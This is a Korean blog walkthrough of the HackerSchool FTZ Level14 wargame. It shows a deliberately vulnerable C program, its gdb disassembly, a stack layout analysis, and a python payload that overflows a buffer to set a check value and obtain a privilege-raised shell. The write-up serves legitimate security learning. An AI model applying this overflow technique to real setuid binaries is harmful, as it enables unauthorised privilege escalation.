본문 바로가기
hackerschool bof/hackerschool ftz

해커스쿨(Hackerschool) FTZ Level14 문제풀이

by 깝태 2011. 5. 10.

해커스쿨(Hackerschool) FTZ Level14 문제풀이를 시작하겠습니다.

[level14@ftz level14]$ ls
attackme  hint  public_html  tmp

역시나 공격파일과 힌트파일이 있습니다.
힌트파일을 열어보면 메세지와 공격파일의 소스가 있습니다.

[level14@ftz level14]$ cat hint

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>
 
main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}

이번문제는 쉘코드를 덮어씌울필요없이 check 의 값만 맞춰주면 자동으로
권한이 상승됩니다. 먼저 GDB 로 보고 메모리 구조를 확인해봅시다.





(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push   %ebp
0x08048491 <main+1>: mov    %esp,%ebp
0x08048493 <main+3>: sub    $0x38,%esp ==> 크기 56바이트 유추
0x08048496 <main+6>: sub    $0x4,%esp
0x08048499 <main+9>: pushl  0x8049664
0x0804849f <main+15>: push   $0x2d
0x080484a1 <main+17>: lea    0xffffffc8(%ebp),%eax
0x080484a4 <main+20>: push   %eax
0x080484a5 <main+21>: call   0x8048360 <fgets>
0x080484aa <main+26>: add    $0x10,%esp
0x080484ad <main+29>: cmpl   $0xdeadbeef,0xfffffff0(%ebp) ==> -16 위치에서 검사, 즉 40바이트 위치에서 검사
0x080484b4 <main+36>: jne    0x80484db <main+75>
0x080484b6 <main+38>: sub    $0x8,%esp
0x080484b9 <main+41>: push   $0xc17
0x080484be <main+46>: push   $0xc17
0x080484c3 <main+51>: call   0x8048380 <setreuid>
0x080484c8 <main+56>: add    $0x10,%esp
0x080484cb <main+59>: sub    $0xc,%esp
0x080484ce <main+62>: push   $0x8048548
0x080484d3 <main+67>: call   0x8048340 <system>
0x080484d8 <main+72>: add    $0x10,%esp
0x080484db <main+75>: leave  
0x080484dc <main+76>: ret    
0x080484dd <main+77>: lea    0x0(%esi),%esi
End of assembler dump.

메모리 구조
(낮은주소) [ BUF(20) + CHECK(4) + CRAP(4) (==> 56바이트) + SFP(4) + RET(4) ] (높은주소) <== 메모리 구조

-16 위치에서 Check 값을 검사하므로 -16 위치에 \xef\xbe\xad\xde 값을 넣어주면 됩니다.
대충 페이로드를 구성해보자면 NOP(40) + Check(4) + NOP(16) 으로 구성해주면 됩니다.

[level14@ftz level14]$ (python -c 'print "\x90"*40 + "\xef\xbe\xad\xde" + "\x90"*16';cat)|./attackme
my-pass

Level15 Password is "          ".

수고하셨습니다.